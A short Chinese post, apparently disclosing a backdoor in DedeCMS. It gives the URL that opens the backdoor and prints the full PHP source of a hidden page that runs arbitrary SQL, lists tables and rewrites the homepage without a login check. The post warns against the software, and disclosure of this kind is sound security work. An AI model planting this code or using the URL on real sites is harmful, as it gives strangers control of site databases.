http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址，即可打开后门界面。
说实话，会故意留后门的程序，最好的方法就是别用。这个后门被发现了，天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下：
代码如下:
<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功！";
}else{
echo "失败！";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名！";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "<xmp>".trim($ctinfo)."</xmp>";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne('Select * From `dede_homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile));
$fp = fopen($homeFile,'w') or die("无法更新网站主页到：$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "成功更新首页！";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "<span style='font-size:10pt'>删除'数据表'或'数据库'的语句不允许在这里执行。</span>";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运行SQL：{$sqlquery}，无返回记录！";
}
else
{
echo "运行SQL：{$sqlquery}，共有".$dsql->GetTotalRow()."条记录，最大返回100条！";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "记录：$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}：</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = split(";[ \t]{0,}\n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行： <font color='blue'>$q</font> 出错，错误提示：<font color='red'>".$errCode."</font><br>";
}
}
echo "成功执行{$i}个SQL语句！<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句！<br><br>";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '<html>
<head>
<meta http-equiv=\'Content-Type\' content=\'text/html; charset=gb2312\'>
<title>SQL命令行工具</title>
<link href=\'img/base.css\' rel=\'stylesheet\' type=\'text/css\'>
</head>
<body background=\'img/allbg.gif\' leftmargin=\'8\' topmargin=\'8\'>
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA">
<tr>
<td height="19" background="img/tbg.gif">
<table width="96%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td width="24%"><strong>SQL命令运行器：</strong></td>
<td width="76%" align="right"> <b><a href="sys_data.php"><u>数据备份</u></a></b>
| <b><a href="sys_data_revert.php"><strong><u>数据还原</u></strong></a></b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="200" bgcolor="#FFFFFF" valign="top">
<table width="100%" border="0" cellspacing="4" cellpadding="2">
<form action="" method="post" name="infoform" target="stafrm">
<input type=\'hidden\' name=\'dopost\' value=\'viewinfo\' />
<tr bgcolor="#F3FBEC">
<td width="15%" height="24" align="center">系统的表信息：</td>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="35%">
<select name="tablename" id="tablename" style="width:100%" size="6">
';
$dsql->SetQuery("Show Tables");
$dsql->Execute('t');
while($row = $dsql->GetArray('t',MYSQL_BOTH))
{
$dsql->SetQuery("Select count(*) From ".$row[0]);
$dsql->Execute('n');
$row2 = $dsql->GetArray('n',MYSQL_BOTH);
$dd = $row2[0];
echo " <option value='".$row[0]."'>".$row[0]."(".$dd.")</option>\r\n";
}
;echo ' </select>
</td>
<td width="2%"> </td>
<td width="63%" valign="bottom">
<div style="float:left;margin-right:20px;">
<input type="Submit" name="Submit1" value="优化选中表" class="coolbg np" onClick="this.form.dopost.value=\'opimize\';" />
<br />
<input type="Submit" name="Submit2" value="修复选中表" class="coolbg np" onClick="this.form.dopost.value=\'repair\';" style="margin-top:6px;" />
<br />
<input type="Submit" name="Submit3" value="查看表结构" class="coolbg np" onClick="this.form.dopost.value=\'viewinfo\';" style="margin-top:6px;" />
</div>
<div style="float:left">
<input type="Submit" name="Submit5" value="优化全部表" class="coolbg np" onClick="this.form.dopost.value=\'opimizeAll\';" />
<br />
<input type="Submit" name="Submit6" value="修复全部表" class="coolbg np" onClick="this.form.dopost.value=\'repairAll\';" style="margin-top:6px;" />
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
<td height="200" align="center">返回信息：</td>
<td>
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe>
</td>
</tr>
</form>
<form action="" method="post" name="form1" target="stafrm">
<input type=\'hidden\' name=\'dopost\' value=\'query\'>
<tr>
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>运行SQL命令行：
<input name="querytype" type="radio" class="np" value="0">
单行命令（支持简单查询）
<input name="querytype" type="radio" class="np" value="2" checked>
多行命令</strong></td>
</tr>
<tr>
<td height="118" colspan="2">
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" style="width:90%"></textarea>
</td>
</tr>
<tr>
<td height="53" align="center"> </td>
<td>
<input name="imageField" type="image" src="img/button_ok.gif" width="60" height="22" border="0" class=\'np\' />
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
</html>
';}
?>
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